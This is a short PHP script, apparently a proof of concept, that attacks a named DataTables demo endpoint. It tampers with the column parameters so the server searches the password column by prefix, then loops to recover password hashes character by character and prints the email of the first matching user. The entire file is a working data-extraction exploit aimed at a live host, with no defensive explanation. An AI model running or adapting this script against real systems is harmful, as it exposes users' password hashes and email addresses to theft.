find-passwords.php

find-passwords.php

<?php
$url = 'http://datatables.yajrabox.com/fluent/basic-object-data?draw=1&columns%5B0%5D%5Bdata%5D=id&columns%5B0%5D%5Bname%5D=id&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=name&columns%5B1%5D%5Bname%5D=name&columns%5B1%5D%5Bsearchable%5D=true&columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=email&columns%5B2%5D%5Bname%5D=email&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B3%5D%5Bdata%5D=created_at&columns%5B3%5D%5Bname%5D=created_at&columns%5B3%5D%5Bsearchable%5D=true&columns%5B3%5D%5Borderable%5D=true&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B4%5D%5Bdata%5D=updated_at&columns%5B4%5D%5Bname%5D=updated_at&columns%5B4%5D%5Bsearchable%5D=true&columns%5B4%5D%5Borderable%5D=true&columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=0&order%5B0%5D%5Bdir%5D=asc&start=0&length=10&search%5Bvalue%5D=&search%5Bregex%5D=false&_=1454577310488';
parse_str($url, $columns);
$match_password = function($chars) use($url, $columns) {
    $columns['columns'][0]['name'] = 'password';
    $columns['columns'][0]['search']['value'] = implode('', $chars) . '%';
    echo 'Finding password hashes starting with ' . implode('', $chars) . PHP_EOL;
    
    $params = http_build_query($columns);

    $url = 'http://datatables.yajrabox.com/fluent/basic-object-data?' . $params;

    $result = file_get_contents($url);
    $data = json_decode($result);

    if (count($data->data) > 0) {
        echo 'Found ' . count($data->data) . ' users' . PHP_EOL;
        echo 'First user ' . $data->data[0]->email . PHP_EOL;
    }
    return count($data->data) > 0;
};

$break = 100;
$chars = ['a'];
while (count($chars) < 40) {
    if ($match_password($chars)) {
        $chars[] = 'a';
    } else {
        $chars[count($chars) - 1]++;
    }
    if ($break-- < 0) {
        break;
    }
}